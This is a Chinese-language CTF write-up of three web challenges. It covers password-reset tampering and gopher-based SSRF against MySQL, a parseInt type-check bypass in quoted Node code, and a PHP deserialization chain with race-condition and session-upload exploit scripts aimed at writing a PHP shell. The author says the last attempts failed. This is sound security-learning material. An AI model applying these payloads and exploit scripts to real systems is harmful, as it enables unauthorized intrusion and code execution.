目录
EasySignin
cool_index
web1234
web4打破防了🤮,应该很接近解出来了,感兴趣的师傅续上吧
EasySignin
先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)
然后admin / 1234567登录
康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ
gopher协议探测出3306端口,可以打mysql
直接gopherus来打
生成的payload _ 后的部分要url二次编码
base64解码拿到flag
cool_index
拿到附件,主要看这段逻辑
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}
return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});
注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用
可以自行对照一下各种判断,最后会输出第八篇文章,索引为7
web1234
登录很容易,就是附件里resetconf里的信息进行一波处理
然后?uname=admin&passwd=1q2w3e登录
大体思路就是先反序列化给record.php写入<?php error_reporting(0);
当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马
在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争
链子很简单
Admin#__Destruct -> Config.showconf() -> Log#__toString
反序列化exp:
<?php
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$a=new Admin();
$b=new Config();
$c=new Log();
$a->Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);
删去最后一个括号绕过__wakeup
把序列化结果放进本地config文件中
写脚本,跑条件竞争
import requests
import threading
url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'
def upload():
while True:
filename = "Config"
with open('config', "rb") as f:
files = {"file": (filename, f.read())}
data = {
"m": "edit",
"nickname": "<?php phpinfo();?>",
"sex": "1",
"mail": "1",
"telnum": "1",
}
response = requests.post(url=url1, files=files,data=data)
print(response.status_code)
url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'
def read():
while True:
res2 = requests.get(url2)
print(res2.status_code)
res3 = requests.get(url3)
if "php" in res3.text:
print('success')
# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]
# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]
# 启动上传线程
for t in upload_threads:
t.start()
# 启动读取线程
for t in read_threads:
t.start()
没跑出来,傻眼
后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)
先backdoor来执行phpinfo()
用backdoor来执行session_start()
exp:
import requests
p1 = '''a|O:5:\"Admin\":1:{s:6:\"Config\";O:6:\"Config\":8:{s:5:\"uname\";N;s:6:\"passwd\";N;s:6:\"avatar\";N;s:8:\"nickname\";N;s:3:\"sex\";N;s:4:\"mail\";N;s:6:\"telnum\";N;s:4:\"show\";O:3:\"Log\":1:{s:4:\"data\";s:11:\"log_start()\";}}'''
url = 'http://247d7106-e189-4fd3-9c50-9892158f1d47.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e&backdoor=session_start'
session = requests.session()
file = {'file': (p1, 'aaa')}
data = {"PHP_SESSION_UPLOAD_PROGRESS": 123}
cookie = {'PHPSESSID': 'd04a5edf34d9c3058ba9ed1cee70b5b2'}
resp = session.post(url=url, data=data, files=file, cookies=cookie, proxies={'http': '127.0.0.1:8080'})
print(resp.text)
然而刷新后似乎并没有session反序列化成功
给的表单应该直接往record.php写马就可,但确是没写进去
要不然就是高版本wake_up没绕过(该试的都试了哇),要不然就是别的细节问题
等官网wp了